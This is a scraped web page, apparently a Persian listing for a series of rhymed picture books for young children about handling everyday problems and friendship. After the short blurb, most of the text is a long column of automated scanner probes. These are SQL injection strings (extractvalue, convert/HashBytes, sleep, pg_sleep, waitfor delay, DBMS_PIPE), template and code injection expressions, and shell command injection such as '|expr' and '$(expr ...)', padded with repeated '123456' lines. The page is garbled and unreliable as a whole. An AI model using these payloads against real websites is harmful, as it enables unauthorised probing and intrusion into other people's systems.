اینجوری میتونیم دوستهای خوبی پیدا کنیم.
مجموعه کتابهای خرسی داستانهایی در قالب شعر و به زبان سادهست برای خردسال، که در هر جلدِ اون بچهها با یک موقعیت یا مساله روبرو میشن. یاد ميگیرن توی هر شرایطی چه اتفاقهایی ممکنه براشون بیافته و برای حل مشکل چه راههایی وجود داره، خودشون باید چیکار کنن و دوستاشون چطور ميتونن کمکشون کنند یا شرایط رو تغییر بدن.
123456
123456
123456
123456
123456
123456
123456
123456
123456
${@var_dump(md5(629874614))};
123456
123456
123456
'-var_dump(md5(714393837))-'
123456
123456
123456
123456
123456
123456
/*1*/{{963111732+981710273}}
123456
123456
123456
expr 848667744 + 942213171
123456
123456
${837079329+901794127}
123456
123456
123456|expr 893818841 + 972556208
${853881832+923856565}
${(900948514+818743928)?c}
123456
123456
123456
123456$(expr 849190196 + 939293770)
#set($c=976957074+820684990)${c}$c
123456
123456
123456
123456&set /A 864426439+862878540
<%- 895191063+910579466 %>
123456
123456
123456
123456
123456
expr 879027262 + 984530084
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456'and/**/extractvalue(1,concat(char(126),md5(1073473013)))and'
123456
123456
123456
123456"and/**/extractvalue(1,concat(char(126),md5(1541117986)))and"
123456
123456
123456
extractvalue(1,concat(char(126),md5(1564826875)))
123456
123456
123456'and(select'1'from/**/cast(md5(1485955117)as/**/int))>'0
123456
123456/**/and/**/cast(md5('1158752078')as/**/int)>0
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1574399960')))
123456
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1952435289')))>'0
123456
123456鎈'"\(
123456
123456
123456'"\(
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456/**/and+2=2
123456/**/and+3=8
123456'and'e'='e
123456'and'f'='x
123456"and"m"="m
123456"and"h"="n
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(5)union/**/select+1)a)
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select*from(select+sleep(5))a/**/union/**/select+1)='
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456"and(select*from(select+sleep(5))a/**/union/**/select+1)="
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(5))>0/**/
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(5))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:5'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:5
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('o',0)
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('i',5)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('k',0)='k
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',5)='b